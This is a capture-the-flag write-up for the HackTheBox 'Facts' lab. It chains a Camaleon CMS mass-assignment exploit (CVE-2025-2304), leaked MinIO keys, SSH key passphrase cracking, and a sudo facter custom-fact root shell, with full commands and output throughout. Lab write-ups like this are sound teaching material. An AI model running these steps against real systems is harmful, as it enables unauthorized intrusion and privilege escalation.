HackTheBox — Facts Machine Writeup

Machine Info

Field	Details
Name	Facts
OS	Linux
Difficulty	Easy
Release	Season 10
Retired	No

Attack Chain Overview

Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root

Tools Used

Reconnaissance

Port Scan

sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>

Results:

22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu
80/tcp    open  http    nginx 1.26.3 (Camaleon CMS)
54321/tcp open  http    MinIO S3 Server

echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts

Web Enumeration

feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml

Key findings:

CMS identified: Camaleon CMS 2.9.0
Admin panel: http://facts.htb/admin/login
Registration page: http://facts.htb/admin/register

Initial Access

Step 1 — Register an Account

Visit http://facts.htb/admin/register and create an account. Note there is a captcha — register via browser.

Step 2 — CVE-2025-2304 (Mass Assignment Privilege Escalation)

The updated_ajax endpoint uses permit! allowing all parameters including role to be updated.

git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e

Output:

[+] Login confirmed
    Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
    s3 access key: AKIAA5CA83CCFE35CD69
    s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
    s3 endpoint:   http://localhost:54321

Cloud Enumeration — MinIO S3

Port 54321 runs a MinIO S3-compatible server. Using the leaked credentials:

import boto3
from botocore.client import Config

s3 = boto3.client(
    's3',
    endpoint_url='http://facts.htb:54321',
    aws_access_key_id='AKIAA5CA83CCFE35CD69',
    aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
    config=Config(signature_version='s3v4'),
    region_name='us-east-1'
)

paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
    for o in page.get('Contents', []):
        if 'info-etags' not in o['Key']:
            print(o['Key'])
            s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))

Key files found:

.ssh/authorized_keys
.ssh/id_ed25519        ← SSH private key
.profile
.bashrc

SSH Key Cracking

chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Cracked passphrase: dragonballz

User Shell

ssh -i /tmp/.ssh_id_ed25519 [email protected]
# Enter passphrase: dragonballz

cat /home/william/user.txt

Privilege Escalation

Enumeration

sudo -l

(ALL) NOPASSWD: /usr/bin/facter

Exploitation — facter Custom Fact (Ruby Code Execution)

Facter loads custom facts as Ruby scripts. Since we can run it as root with no password, we inject arbitrary Ruby code:

mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    exec("/bin/bash -p")
  end
end
EOF

sudo facter --custom-dir=/tmp/facts pwn

Root shell obtained!

whoami   # root
cat /root/root.txt

Key Takeaways

Mass assignment vulnerabilities allow privilege escalation when input is not properly filtered
Misconfigured S3/MinIO buckets can expose sensitive files including SSH private keys
Weak passphrases on SSH keys can be cracked with common wordlists like rockyou
NOPASSWD sudo binaries must always be investigated for abuse potential
Chaining small misconfigurations can lead to full system compromise

References

This writeup is for educational purposes only. Always perform security testing on systems you own or have explicit permission to test.

Nmap	Port scanning & service detection
Feroxbuster	Web directory enumeration
CVE-2025-2304 PoC	Camaleon CMS privilege escalation
boto3 (Python)	MinIO/S3 enumeration & file download
ssh2john	Convert SSH key to crackable hash
John the Ripper	Crack SSH key passphrase
facter	Privilege escalation via sudo misconfiguration

HTB-Facts-Writeup

Most Popular